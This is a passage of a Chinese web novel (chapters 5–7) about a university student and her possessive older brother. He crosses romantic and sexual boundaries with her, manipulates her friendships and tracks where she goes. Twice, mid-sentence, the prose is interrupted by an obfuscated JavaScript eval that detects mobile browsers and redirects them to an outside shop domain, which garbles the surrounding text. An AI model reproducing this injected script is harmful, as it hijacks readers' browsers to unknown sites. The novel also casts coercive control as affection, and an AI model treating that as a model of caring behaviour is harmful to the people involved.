那些冠冕堂皇的道理在此刻显得多么苍白无力，又可笑至极。 顾星河将她最后一缕碎发勾到耳后，这次落下的是一个温柔缱绻的吻，似乎在安抚她，“玥玥，这不是错误，有什么事，哥都在前头替你兜着，知道吗？别怕。” 宝玥懵懂地点头。 顾星河就看了看怔怔的她，觉得今天差不多到此为止了，不能逼太紧，会把她吓跑的。 他笑眯眯地松开了她的手。 “好，那你回去吃饭吧，哥下次再请你吃湘菜，蛋糕带上。” 5. 第 5 章 “宝玥同学，你怎么了？” 宝玥忽然听到有人在叫自己，才发现自己代码写着写着就发了呆。 她伸手去抚正机械臂，被接口的毛刺割了一道口子。 她嘶了一声。 叫她的男生也哎呀道：“流血了，等等……我有创可贴。” 他跑回自己的位子，从书包翻出了一张创可贴给她。 宝玥抬眸看了他一眼，“你是机械学院的？” 她经常看到机械学院的男生组装和拆解机器人，这种伤对他们来说太常见了，几乎人人都备了创可贴。 眼前这男生眼熟，但宝玥不知道他叫什么。 男生也不尴尬，大方地自我介绍了下。 宝玥：“找我有事吗？” “我想邀请你加入我们的团队。” 机器人挑战赛马上要开启报名了。 虽然只是校级赛事，但团队配置完全参照正规赛标准，横跨多个专业，是新人的第一场实战演练。 所以，期末考一结束，大一的新生都在社团里四处拉人组队。 这不是第一个来问宝玥的。 她同样没给出明确答案，“我考虑一下。” 回到寝室，周怡也问了同样的问题。 宝玥也是一样回答。 “哇，难道很多人找你么？都是谁啊？” 宝玥想了想，“十二三个吧，都是其他学院的，不熟。” 周怡惊呆了，“怎么这么多？！虽然知道我们专业很抢手，但也没这么抢手吧？是因为你美么？” 宝玥仰起下巴，“就不能因为是我强么？专业第一不参赛，他们找我这个第二没问题吧？” 两位室友都朝她竖起大拇指，“对对对，我们宝玥又美又强！这下可美死了，还不随你挑选。” 宝玥却撑着自己小圆脸苦恼，“我左右为难啊。” 她们哈哈大笑，“好像渣女发言！” 不是，她真有选择困难症。 不然从小到大也不会依赖二哥替她拿主意了。 顾星河其实是最早问她想怎么组队。 以他在校队的地位和人脉，为她推荐几名大一的学弟学妹，组出一支最强的队伍也不是没可能。 可她当时冒出了一个以前从来没有过的想法。 ——她不想依靠他了。 从一月前躲他开始，她就萌生了这种念头。 现在更加坚定了而已。 她从最近的事情意识到，就是因为自己太没主见，才把两人的关系越弄越糟。 后来，他又发消息关心她报名情况。 但她仍是那句话。 【我考虑考虑】 【除了我，妹妹还有更好的选择？】 他似乎对她的推三阻四感到意外。 宝玥不知道怎么回复。 她想说他介绍的那些人只会把她当做顾星河的妹妹，他们看见的不是她，而是顾星河。 她还记得来南大报道的那天，顾星河亲自送她。 从那天起，就好像所有人都知道她是顾星河的妹妹。 他们不知道她叫什么名字，但知道她是顾星河的妹妹。 直到今天，走在路上，还有人这样议论她。 “顾星河的妹妹诶！” 以前，她很喜欢，但现在变了。 这种看他面子和她组队，和因为她强找她组队的感受完全不一样。 总之，这次她深思熟虑之后，决定按照自己想法来。 经过几天的筛选，她决定好了着落。 这里没有她认识的人，但是她认为配置最完整的队伍。 组团成功后，队长组织了一次小会。 大家就像初入江湖的新人，都很兴奋，在活跃的气氛中，互相认识，讨论队名，提交报名资料。 直到官方组织赛前培训，宝玥在现场见到顾星河，才知道他的公司是这次比赛的冠名单位，而他是本次比赛的总技术指导。 她没有提早和他说自己找了别的队伍，他也同样没有告诉她自己当了总技术指导。 她第一次瞒着他，没想到这么快就遭到反噬了。 顾星河如平常一样关心地询问，“我看了报名的队伍信息，你找得这些队员都认识吗？” 宝玥忐忑发言，“队长叫陈牧，机械学院的，其他人还不太熟悉。” 他搜刮了一遍大脑记忆，对此人毫无印象，又慢条斯理地问了一句，“只记得他？” “嗯，高中拿过科创国赛金奖，也有当队长经验，组好队当天就给大家分好工，特别高效。” 说起这人，宝玥眼里透着钦佩。 至于其他人，她只记住了有哪些学院，但脸对不上，名字也没记住。 顾星河唇角一弯，眼底幽深难辨，笑容里看不出什么情绪，“听起来还不错，那玥玥要好好加油。” 宝玥一怔，“你不生气吗？” 顾星河轻笑道：“为什么要生气？哥想帮你只是担心你找不到而已，没有非要这样做的意思，你能自己找到，哥高兴还不来不及。” “真的吗？” 顾星河嗯了一声，伸手摸了下她的头，“进去听培训吧。” 宝玥半信半疑，但到底松了口气。 顾星河盯着她轻快的背影，笑容深暗了几分。 他的妹妹这么单纯可爱，怎么能放任她整日和一群臭男人在一起？ 必须得在自己眼底下才安全。 躲他？想都不要想。 *** 官方培训开始后，宝玥的日程一下被排满了。 除了小学期之外，还要参加每周的赛前培训，熟悉官方发放的开发套件和软件框架，在培训之后，队长又会组织大家一起解读比赛规则，讨论设计方案。 她以忙碌为由，多次拒绝和顾星河私下见面，结果他笑眯眯地说：“那就光明正大地见面。” 然后真的出现在培训上，站在讲台上。 她不想见他，却不得不把目光放在他身上。 在她处于二哥讲得真好，但我不想看见他的痛苦挣扎时，一条短信来了。 及时行乐：【宝儿，我回国了！】 季行乐回来！ 五年不见的好友突然回归，宝玥瞬间来了精神，当即约她见面。 走前，她习惯性想和顾星河报备，打开聊天框蓦地又止住了。 以前，季行乐带她去过未成年禁入场所，被顾星河逮了两回，再好脾气的他都忍不住要逼她们绝交。 自那以后，但凡她和季行乐出去，都必须经过他点头。 但这次，她们只是吃个饭。 为什么要听他的？ 反正比赛那事他也轻飘飘放下了，那这次她自己作主也不会有问题吧！ 宝玥这么想着，就心安理得地收了手机。 *** 季家和顾家关系不错，兄妹三人与季行乐打小就认识，两家先前有亲上加亲的意思，但季行乐没看上顾家哥哥，而是看上了自家哥哥。 那是季行乐妈妈重组家庭的继子，同样也是家族精心培养的接班人，身上岂能有半点污点。 季家又是书香门第，也无法容忍这种有悖人伦的事。 所以两家一拍即合，直接将她送出国了。 被流放了五年的季行乐丝毫不见颓废，穿着一抹艳丽的大红连衣裙出现在她面前，依旧明艳动人，美得不可方物。 季行乐也直呼宝玥大变化，“要不是我们打过视频，我都认不出你了！不一样！完全不一样！” 宝玥有点不好意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889308|192165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思，“有那么夸张吗？” 季行乐伸手勾起她的下巴，啧啧评价道：“看来顾星河把你照顾得很好，我走那会儿，你还像只小鹌鹑似的，现在嘛，自信很多咯，是该谢谢他当初搬出顾家，你说他当时被施柔打了一耳光，真的假的？” 宝玥点头，“真的，我亲自给他上得药，肿了两天才好。” 季行乐畅快地笑起来，“哈哈哈哈！可惜我错过了！” 宝玥顺着这个话题，试探地提起：“你觉得二哥对我正常吗？” 季行乐瞪大了眼睛，“你是在和我炫耀吗？” 她露出嫉妒的表情，“我哥要有他一半在乎我，我做梦都会笑！” 你对你哥都有不正常的感情，就没想过他对我也是…… 只能说顾星河的段位比她高太多了。 这么多年扮演的妹控形象早就深入人心，哪怕他对她做多出格的事，恐怕都会被他们认为是对她的疼爱，就连季行乐都没看出不对劲。 “哎，不过是有一点不好。” 宝玥眼睛一亮，“哪里不好？” “你以后找男朋友恐怕是很困难咯，他这么护着你，谁敢追你啊？你没发现身边的异性朋友很少，不对，根本没有好吗？” 她这么一说，宝玥倒是回忆起一件小事。 大概是初中那会儿，她对两位男生有过朦胧的好感，顾星河不知道怎么就看出来了。 他并不恼怒，只是拿着哥哥这半个监护人的身份，温和地询问她。 “他们比哥哥好看吗？” “没有。” “比哥哥成绩好吗？” “没有。” “那他们谁当过大队长？学生会会长？还是拿过市三好生、优秀干部？” “都没有。” “那有比哥哥篮球打得好？还是钢琴弹得好？或是他们有什么哥哥没有的特长？” 没有，都没有。 “嗯？那你喜欢他们什么？” 宝玥一时噎住。 两位男生被对比得一无是处。 见她语塞，他又温和开导说这个年龄有这种心思很正常，这是身体发育的自然现象，只是生理冲动，而非真正的喜欢，他还斩钉截铁地说。 “我们的心脏这么小，只够装得下一个人，喜欢两个人怎么能叫喜欢呢？” “不能喜欢两个人吗？” “当然不可以。” 宝玥虽然不太理解，但还是听进去了哥哥的话，把更多心思放在学习才对，未萌芽的情愫就这样被掐了。 她一开始也是有关系好的异性朋的，只是后来因为各种原因，关系就淡了，不联系了。 但宝玥还是不明白，“这有什么不对吗？我哥说和男生玩会耽误学习，男女生之间不可能有纯洁的友谊……” “Stop！打住，宝儿，你都成年了，你的思想，你的人格是独立的！男人好不好用，他说了不算，自己体验过的想法才是最重要的，OK?” 话题早就跑偏了，根本给不出实质性的帮助。 宝玥纠结到底该怎么和自己最好的朋友说出现在的困境，不能明着说，但旁敲侧击地问，季行乐好像也不明白。 季行乐看她愁眉苦脸的模样，一把揽住她的肩，“你难道就没有一点谈恋爱的想法吗？过几日，我在云庭别墅办派对，到时候你来。” 她捂着嘴在她耳边悄声说道：“我给你介绍几个帅哥玩玩啊~” 突然一个清润的声音插入，“要介绍什么帅哥？” “鬼啊！”季行乐抬头一看人，魂都吓飞了，“你为什么在这！” 宝玥就像炸毛的猫，吓得不敢回头。 顾星河微微俯身，撑在宝玥的桌角，头一歪，对她露出漂亮的小酒窝，“我当然是来接妹妹回家。” 6. 第 6 章 顾星河目光从宝玥脸上，又挪向季行乐。在妹妹看不见的方向，他的笑意冰冷锐利，“我大费周章把你从国外弄回来，你是这样报答我的？要不我现在就把沈隽墨叫来？” 季行乐立刻坐直，“你敢！” 顾星河脸上依旧是完美的微笑，“你敢给我妹介绍什么野男人，我就敢告诉他，这些年你在国外养了多少男人……” 眼看季行乐要发飙，从惊愕中回神的宝玥赶忙起身拉住他的胳膊，“哥，哥……” 顾星河在被她触碰的刹那，那几乎要冲破温和表象的冷意突然全消失了。 妹妹劝架只拉他呢。 他淡淡刮了季行乐一眼，就握住宝玥的手腕将人带走了，“饭钱我付过了。” *** 顾星河拉着她一语不发地坐进车内。 他不说话，车内安静得只剩呼吸声。 宝玥慌得不行，怕他这回真逼自己和季行乐绝交，又或者对她的社交进行彻底限制，没等他开口，她主动握住了他的手，滑跪认错，“对不起哥，这次是我错了，以后出来一定和你报备。” 顾星河低头盯着自己被她双手包裹的右手，眸色极淡，“还有呢？” “还有？还有什么？” 宝玥想破脑袋也没想明白，上次瞒着他报名的事，不是也道歉揭过了吗？最近除了这两件就没有了吧？ 顾星河抬眸，定定地看着她，“不要玩外面的男人，很脏，会得病。” 宝玥赶紧点头，“好。” 这个回答还不令他满意，他双手捧起她的脸颊，让她直视自己，难得用极为认真且严肃的口吻与她说话，“玥玥，看着我，和我保证，你不会，绝对不会。” 二哥有时比她还幼稚，总喜欢她做无用的保证。 她乖乖地看着他，说是保证，更像是哄他的话。 “我保证听哥哥的话，不玩外面的男人，绝对不会。” 这么多年，她别的嘴皮功夫是没怎么长，但是哄他的话，却能脸不红心不跳地说出最真诚的语气。 偏偏顾星河就是很受用。 他唇角重新荡开微笑，低头靠近她耳边，嗓音低稠黏腻，“想玩就玩哥哥，我很干净，也很听话，想怎么玩就怎么玩。” 宝玥从来没听过这种尺度的话，说话之人还是她哥。 她害臊地推开他，“开车！” 顾星河耸着肩笑得眼光熠熠，一边说着好，一边却握着她的手不放。 不仅不放，还从手腕握到手指。 不是以前哥哥牵妹妹那样，而是直接穿过她的指缝，一根手指一根手指地交叉，直到十指紧紧扣。 这姿势实在太暧昧了，宝玥忍不住想抽回，却被他有力地握着，“别动，影响我开车呢。” “……” 怎么还倒打一耙。 她不明白，他怎么可以如此坦然地接受关系的变化？ 怎么可以像什么都没发生一样，心平气和地做着这些越界的事，说着这些暧昧的话？ 但她又突然想起，那晚他竟然准备了套。 她以为稀里糊涂发生的事，也许是蓄谋已久。 *** 找现实朋友寻求帮助失败，宝玥又打开了浏览器。 历史记录里还躺着一个多月前那个无助的搜索：【亲了自己哥哥怎么办】。 她重新输入新的问题：【睡了自己哥哥怎么办】。 随即又猛地想起，上次搜索后推荐了一堆禁忌的“骨科”小说。 她删除了输入框里的文字，熄灭了屏幕。 重重叹了口气。 …… 挑战赛培训结束后，队长陈牧展示出了自己画的机械设计图。 在这么短的时间，能设计出既满足功能，又造型炫酷的机器人，可见实力。 大家看完之后，信心倍增，也敢放言争第一了。 宝玥在赞叹之余，又暗自皱了下眉。 这些华丽的附加零件并不在官方提供的材料包内，需要他们自费购买。 更重要的是可能会大幅增加机器人的重量。 但她没有当场提出质疑，因为这只是她的猜测，用莫须有的猜测去质疑别人的心血之作是非常冒犯的事。 但在随后的模拟测试中，印证了她的担忧。 看似华丽，实则笨重的结构严重拖累了机器人的机动性。 于是，她私下找了陈牧，希望他能优化下结构设计，化繁为简。 陈牧露出了不可思议的表情，“我还是第一次听算法要求设计改图的，难道宝同学平时做不出题，第一反应是质疑题目错了吗？” 宝玥没想到他是这样的反应，一时被尖锐的反问噎住，说不出话。 陈牧推了下镜框，很笃定地说道：“我的设计完全没问题，任何数据都在比赛要求之内，你还再看看算法吧。” 在他的强势和威严下，不够坚定的宝玥退缩了。 【闻野开了一家新店，晚上请大家吃饭】 顾星河又发来消息了。 宝玥正为算法烦恼着，直接就拒了。 周怡也发来消息说今晚为庆祝小组作业拿了第一，她组织了狼人杀。 她不知道从哪里找到了一家新开的桌游吧，分享在6人群里。 除了专业第一那位无反应，其他人都热情响应了。 宝玥本来也想拒了，但又看到前面拒绝顾星河的消息。 在他的朋友，她的同学之间，她很快就做出了选择。 这不该是选择，他们的社交圈本就不该这样紧密。 宝玥好不容易又勇敢了一回，谁知道刚推开桌游吧的门，就看见了沙发上的男人。 他穿着一件白色T恤，普普通通的款式，熨烫工整不带一丝皱纹，衬得人温柔又清爽。 宝玥只觉两眼一抹黑。 老天玩她呢？ 周怡还在拉她，“怎么不进来啊，宝玥。” 店门口人声嘈杂，但宝玥的名字却准确无误地落进了顾星河耳中，他的目光投了过来，像扫描仪一样精准捕捉到了她。 宝玥想躲已经晚了，眼看着他站起身，朝这走来。 他的出现本就引人注目，接近一米九的身高，瞬间就把周围的目光吸引了过来，还有女生们的惊叹声。 顾星河浅浅的目光扫过宝玥，和众人打了个招呼。 “同学们，晚上好呀。” 她的同学顿时和疯了一样，一个叫得比一个响亮，这要是有尾巴都得狂摇起来了。 顾星河的视线回落到宝玥脸上，眸里是带着有温度的笑，“这么巧，你们也来玩？” 这也的确是太巧了，他为什么会在这儿？ 宝玥想找个地缝钻走，但还是硬着头皮问道：“哥不是去聚餐了？” 顾星河微微眯起眼，“刚吃完，你呢？” 他的声音像羽毛轻轻扫过她紧绷的神经：“难题解决了？” 他还挺给面子的，把她骗他的原因解读得这么清新脱俗。 但她太绝望了，回回都被他抓了个现行，他是不是在自己身上装了定位？ 以为顾星河有责怪的意思，周怡立马出声维护，“我们今天拿了小组第一，所以大家才想出来玩，不会玩很晚的。” 顾星河笑容和煦，语气也很包容，“我怎么会怪她，我妹妹性格文静，看到她愿意和你们一起出来玩，我很高兴。” 他的表情无懈可击，完美地扮演着温柔体贴的哥哥。 忽然，一个声音由远及近插-进来，“嗨，宝玥妹妹，最近这么忙呢，一个多月不见，今晚聚餐也没来。” 宝玥没想到闻野也在，“你们在这附近聚餐吗？” 顾星河笑着解释，“今晚聚餐本来就是为了庆祝他新店开张。” 所以这是闻野的店？ 果不其然听闻野特别大方地说道：“兄弟的妹妹，就是我的妹妹，大家一起玩两局，今晚给你们免单！” “哇！老板大气！” “谢谢老板！” 同学们都欢呼了起来。 宝玥低声问周怡，“你怎么找到这家店的？” 周怡：“下午在你哥朋友圈看到这个新店开张集赞100免单，这不是褥羊毛吗？我瞧地址很近，就赶紧来了！” 她说着拿出手机，“诶，诶？那条朋友圈怎么不见了？” 宝玥：“……” 她现在恨不得让她们都删了他的微信。 开学第一日，顾星河送她来寝室，当时他就加了王婷和周怡的微信，就像她也有闻野微信一样，他们都有彼此好友、同学、室友的微信、电话。 顾星河注视着宝玥，装模作样地询问她意见，“可以吗？” 她还能怎么说，只能应下了。 两人再怎么闹，也不可能闹到外人面前。 这点认知她还是有的。 但她显然低估了顾星河的认知。 在第一回合当狼睁眼时，她立马感受到一道灼热的视线，寻望过去，果然看见顾星河眉眼弯弯地注视着自己。 被她发现了，他也不知收敛，明亮的眸里荡漾开一层薄薄的笑意，涟漪很快泛到了眉眼。 明明知道同学们都闭着眼，什么也看不到，她还是被他肆无忌惮的注视烫到脸颊发热。 她极力想回避他的视线，却又不得不用眼神交流，以至于他打了什么手势她也不记得，只胡乱点了下头。 因为太过紧张，她在首轮差点暴露，当她觉得自己要完蛋时，轮到顾星河发言。 他光明正大地替她开解，“我妹妹第一次玩，只是紧张，说错情有可原，而且今天在场新人多，刚刚5号发言也有破绽，6号也有……” 他披着一副纯良的外貌，分析得头头是道，不仅将她完美摘出去，还引导大家票走了真正的预言家。 第二轮再睁眼时，宝玥刚深吸一口气想要镇定，结果一对上他的目光，瞬间溃败，他的眼睛就像一把钩子，钩得人心神大乱。 这种背着同学的眼神交流，充满禁忌与刺-激，每一次都让她心跳不正常。 她多次露以凶光警告，他却是无声地笑着，又继续放肆。 于是，她全程稀里糊涂地听着他指令刀人，在白天发言即使说错，对方也能替她找补回来，最后也这么稀里糊涂地赢下了首局。 终于结束了，宝玥忍不住扶了扶胸口，活跃的心跳撞在她掌心。 闻野气得大叫：“顾星河你也太护着妹妹了！” 顾星河挑眉，笑得坦然：“我不护着自己的队友，难道护着你？” 这种被明目张胆偏袒的感觉，让宝玥心头泛起难以言语的酸胀。 她一边害怕着这种越界的保护，又一边可耻地感到一种安心。 第二局，当宝玥再次抽到狼人，而队友换成别人时，她立刻感到了力不从心，这种落差无疑加大了那股酸胀感。 她因为闻野跳预言家指认而慌乱无措时，又是顾星河站了出来。 用最温柔的语气编织最合理的谎言，再次护她周全。 当游戏结束，真相大白，顾星河是女巫却没有毒杀她这匹明狼时，闻野彻底无语，知道这人宠妹无下限，转头对大家喊道：“下个回合不管三七二十一，先把这个妹控弄死！” 顾星河轻耸着肩，低低笑着，根本不在意。 周围的人起哄地大笑，王婷和周怡更是摇晃着她的胳膊，“你哥好宠你啊，慕了！慕了！” 什么哥哥。 这话宝玥现在听得简直躁得慌。 后来当上帝的闻野才注意到，不论他什么时候看向顾星河，他的视线都在妹妹身上。 他的目光像是密密麻麻的蛛丝包裹着对方。 柔软的，坚韧的，难以剥离的，却也悄无声息的。 *** 第三局，兄妹俩双双在第一轮出局。 宝玥低头一看手机。 二哥：【出来】 她把手机息屏，当做没看见。 刚刚他已经很过分了，她不想再被同学发现什么。 顾星河没一会就回来了，原来是去给大家买奶茶了，他们激动地谢谢学长、谢谢顾总。 奶茶是宝玥平时喜欢的品牌，递到她手上时，顾星河低语道：“叫你出来帮忙也不来。” 宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889309|192165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玥心虚地移开目光，“你没说是拿奶茶。” 手指不小心触碰到他，她应激一缩，奶茶瞬间从两人手中掉了下来，砸在桌上。 “啊！” 她躲也来不及，杯盖摔坏，褐色的液体流了一桌一地，还溅到她衣服裤子上。 她忙说道：“对不起！” 被殃及的男生递来纸巾，“没事！没事！你快擦擦。” 顾星河已经俯身过来，替她接过纸巾擦拭桌面，语气温和地替她道歉，“不怪她，是我没拿稳。” 又拉起她的手臂，“鞋子湿了吗？我带你去卫生间处理一下。” 刚进卫生间，听到落锁的声音，宝玥猛地抬起头，牙齿正好嗑到顾星河的下巴，她唔了一声。 怎么突然就靠这么近，一点声音也没有！ 她刚想拉开距离，就被他抱到洗手台上，“小狼还咬人。” 他说着，把脸凑近，“往这儿咬。” 他这么厚脸皮，她实在招架不住，但对着这张脸，她又骂不出口，气得只能推他。 顾星河很轻易就被她推开了，也没恼怒，抽了几张纸蹲下身。 意识到他要做什么，宝玥不好意思地拉住他胳膊，“我自己来。” 顾星河仰起头，眉眼含笑，“干嘛？害羞了？” 宝玥低低地说道：“我已经长大了。” 顾星河理所当然地应着，“那也是我的妹妹，哥哥照顾妹妹是应该的。” 他就这么自然而然地蹲下身给她擦鞋面。 小时候，她的鞋子是他帮忙穿的，后来长大了，走在街上，鞋带松了，也是他蹲下身为她系好。 宝玥低头盯着他的发顶，无意识地喊了他一声。 “哥。” “嗯？” 对方立马就抬头看她了，仿佛回应她是一种身体本能。 无论什么时候，只要她叫他，他必有回应。 这种满足感，难以言语。 宝玥心里那股酸胀感又更重了。 在她走神时，那只温暖结实的手抚上了她的脸蛋，掌心很大，手指很长，轻而易举地包住她半张脸。 看着越来越近的脸，越来越热的呼吸，宝玥的心快要跳出胸腔，外面是她的同学，他的朋友，她怕随时有人敲门，但她的心又好像不受控制地塌陷了。 他仰头吻她的姿势，虔诚得像是俯首称臣的骑士。 那常年摸机器的手指带了薄茧，刮过她细腻的脸蛋，带起了一层鸡皮疙瘩，“花言巧语，才多久又骗我了？” “比赛报名，瞒着我提交。” “和季行乐出去吃饭，没和我报备。” “今天骗我要学习，结果和同学出来玩，嗯，也没有主动报备。” “叫你提奶茶，也不乐意。” 他每说一句，就在她唇上轻啄一口，不像是质问，更像是情侣间的控诉。 他苦笑了下，“好像哥哥现在叫你做什么都不愿意，以前你都很乖的，从来没有叛逆过，现在怎么开始欺负哥哥了，嗯？” 宝玥刚要开口，顾星河已经知道她要说什么了，他又堵了她的嘴，薄唇辗转在她的双唇上。 “这一个月多，听你说了无数个对不起，却没有听到你一句真心话，唔，这嘴长得不说真话，是用来做什么的呢？是用来和哥哥接吻的吗？” 要不然怎么每次一亲就这么乖呢？ 他的双唇压着她，稍稍用劲，“那倒也可以，不过哥哥想要的，可能和你以为的不太一样，要试试吗？” 说罢，他已经站起身来，高大的身瞬间躯挡住了头顶的灯光，她整个人被笼罩在他的阴影之下。 这一次的吻带了力度和深度，仿佛要伸到她的喉咙里，霸道地堵住了她所有的气息。 *** 狼人杀之后，顾星河又请大家吃了宵夜赔罪。 这又是送奶茶，又是请宵夜的，周到体贴得叫人无法诟病，就算原本对他游戏中帮偏行为有微词的也难说出半个不字。 他穿着一尘不染的白衬衣，面容清秀得像个学者，与这喧嚣嘈杂、油烟缭绕的大排档格格不入，宝玥看得出他对这里的食物毫无兴趣，他几乎没吃，所有的注意力都在她身上。 她的视线落在哪个串上，下一秒那一串就会被他送到眼前，就连剥壳费劲的皮皮虾都帮她处理好。 有人热情地为他斟酒，“学长，我敬你一杯！” 顾星河微微一笑，抬手婉拒，“我开车来的，就不喝了，一会还得负责送她们几位女孩子回校，你们也适量，别喝多了。” 他的理由充分，随时随地地保持温柔体贴的兄长人设。 只有宝玥知道，半小时前，他是怎样在昏暗的卫生间里，将她禁锢在洗手台，用膝盖顶开她的双腿，将她吻到窒息。 她的嘴唇到现在还残留着酥麻的肿痛感。 看着他与自己的同学们交换联系方式，听着他们已经从学长喊到了亲哥，宝玥感到一种彻骨的冰凉。 她环顾四周欢声笑语的同学，他们眼中是对顾星河毫无保留的欣赏和信任。 在回程时，她的两位室友不仅对他赞不绝口，更是对她羡慕有加。 “你哥哥真是太好了！！长得帅，智商高，性格温柔体贴，还特别宠你，这世上怎么会有这么完美的哥哥！” “啊啊啊啊太羡慕了！！宝玥你好幸福啊！” …… 她细思恐极，不知不觉中，他早就渗透了她的社交圈，并且总是这样不费吹灰之力就博得他们好感。 从小到大，她的所有同学和朋友，老师和长辈，身边但凡接触过顾星河的，无一不对他交口称赞，他是老师眼中品学兼优的优等生，是同学望尘莫及的全能学霸，他是完美无瑕的存在。 她现在要和他们说哥哥对她别有心思，不仅没有人会信，说不准还会谴责她胡说八道，思想龌龊。 毕竟连她最好的朋友季行乐也是这样认为。 她忽然感到前所未有的无助。 她所经历的挣扎、恐惧和那份难以启齿的悸动，都无法向任何人言说。 这场无声的风暴，到底有谁可以帮帮她？ 7. 第 7 章 “你和顾学长不像兄妹。” 第二日，宝玥在图书馆里遇到昨天一起狼人杀的同学，对方的话惊到了她。 “哪有哥哥这样照顾妹妹的？是不是太亲密了点。” 宝玥心里咯噔一下，几乎是下意识用着顾星河那理直气壮的语气回应，“我们感情好有什么问题吗！” 这话比100度的沸水还烫嘴，宝玥说得脸都红了。 对方还当她是生气。 不，她是感到羞耻。 比从顾星河嘴里说出还要羞耻百倍。 她的怯懦，她的胆小，终究让她从这段扭曲关系的逃犯，变成了共犯。 以后，她还有陪他一起撒多少这样的谎言？ 不行，她绝对不能这样。 她现在能想到得唯一措施就是剥离两人的社交圈，让表面关系能够多维持一段时间，直到她离开顾家。 *** 听到顾星河要出差的消息，宝玥可高兴极了！ 逐光战队是今年全国挑战赛的冠军队，带着蝉联五冠的荣耀，被邀请参加首届世界挑战赛。 作为南大机器人比赛的总技术指导，校方希望顾星河能亲自带队去欧洲比赛。 宝玥眼睛发亮，“哥，加油！拿个世界冠军回来！” 顾星河精准地捕捉到她瞬间的放松，俯身靠近，鼻尖凑到她柔软的发丝，“看我要走，这么开心？又能暂时躲开我了，是吗？” 宝玥一副被看穿的窘样，眼神飘开，“才没有。” 没有吗？ 那为什么这段时间连他们的家都不回了？ 宁可自己在学校手洗衣服。 那天和季行乐吃完饭，他刚提一句回家，她脸色大变，就好像他们的家变成了什么会吃人的龙潭虎穴。最后是他心软送她回了学校。 “嗯，你说，我就信。” 他依旧表现出十分宽容的态度，而每一次用这样包容还带了几分苦涩的目光看她时，宝玥心里的愧疚都会被勾起。 而他又回回仗着她的愧疚，对她进行越界试探。 比如在尽好哥哥的本分，叮嘱她好好备赛，按时吃饭，注意身体，又会提出恋人的要求，“给我每天发消息。” 比如临走前，把她拉进了训练场隔壁的工具间里，让她在隔墙的战队讨论声中承受了一个心惊胆战的深吻。 在这段暧昧不清的关系中，她明白这些规律，可他屡试不爽，且越发过分。 这何尝又不是自己每一次心软妥协、纵容让步的恶果。 逐光战队出征的合影是她拍的。 他发了朋友圈，点赞祝福无数，她的同学们赫然在列。 王婷凑过来说：“你哥带队去啦？上次玩狼人杀让他破费请客，我们得回请一顿吧？” 宝玥默不作声地将手机屏幕按熄，声音清淡听不出波澜，“没关系，他不在意这些。” 她不想再制造这样相处的机会了。 周怡立马道，“那怎么行！每次你哥来都又送奶茶又送零食，我们不能总占便宜。这顿饭必须请！等他回来你问问。” 两位室友态度坚决，宝玥只能苦着脸应下。 这人情来往，有来就有回，好像一把枷锁将她和顾星河的关系牢牢锁住。 想剥离彼此社交圈，何其困难？ 除了社交上，在学业上亦是如此。 陈牧给她抛出的难题到现在还毫无头绪，已经被追问了好几次进度。 因为抓掉的头发太多，这几天打扫寝室攒的头发都能编绳了。 她数次打开手机，想找顾星河帮忙，想找他诉苦，但理智又阻止了她。 最先剥离得应该是自己对他的依赖才对啊！ 趁着哥哥不在，逼着自己独当一面！ 她总是这样很快地说服自己，紧接着继续死磕难题。 连着熬了几个大夜，整个人都快熬出一锅酸菜鱼味，她忍不住把一整箱脏衣服带回了家里。 南大什么都好，就是老校区的寝室条件太差，女生寝室没有独立卫生间，她不习惯用公共洗衣机，所以脏衣服全是周末带回家给阿姨洗，阿姨不在就自己洗。 宝玥洗了衣服，又给阳台的花花草草浇水，顺便收拾了下客厅。 看这茶几上薄薄的灰尘，显然已经好多天都没人回家了。 她和二哥最近是没回来，大哥也没回吗？ 从上次寿辰见面到现在已经半个月了。 大哥不像二哥那样，即便不见面仍会每天保持电话短信。 他在这三个人的家里，存在感一直很低。 低到有时宝玥都回想不起上次见到他是什么时候。 门铃响了。 顾星河前两日和她说过，物业今天会来检查燃气。 只是没想到开门看见顾星沉。 宝玥愣了下，才问道：“大哥你怎么回来了？” 顾星沉没开口解释，目光触碰到她的视线后就移开，一如往常的淡漠。 他进来后，物业跟着进来。 宝玥看着他们往厨房里走，这才意识到大哥是陪物业来检查燃气的？ 之前家里琐事都是顾星河在负责，他要抽不出身，会安排管家，再不济也会让张叔代劳，怎么样都不可能麻烦到大哥头上。 在顾家，所有人都心照不宣地不拿小事麻烦大哥。 结束之后，眼看顾星沉又要跟着物业一起走。 他这是特意陪物业来一趟？？ 简直匪夷所思。 宝玥想起上次大哥在关键时刻帮了自己一把，她立马跟上前，主动邀请道：“大哥，晚上在家吃饭吧？我已经在准备晚饭了。” 顾星沉低头系袖扣，连头也回，语气疏离，“有事。” 他个头和顾星河差不多，但在她前面，仿佛一座高不可攀的雪山，扑面而来的冰冷与压迫。 见他已经走到玄关换鞋，带走了仅有的人气和声音，那种无助再次涌上心头，宝玥鬼使神差地问了一句，“那你一会还回来吗？” 话一出口，两人俱是一愣。 顾星沉的动作终于停顿了下来，他缓缓直起身，深邃的眼眸落在她脸上，神情晦暗不明。 “你希望我回来？” 宝玥被反问得脸颊通红。 可能以前问二哥问顺口了，不知怎么就这么溜出嘴。 她是有点怕一个人睡这么大的房子，但也绝对没想让大哥回来陪的意思，她这话问得两人都好尴尬。 说希望吧，她没这脸皮，说不希望吧，那也太伤人了。 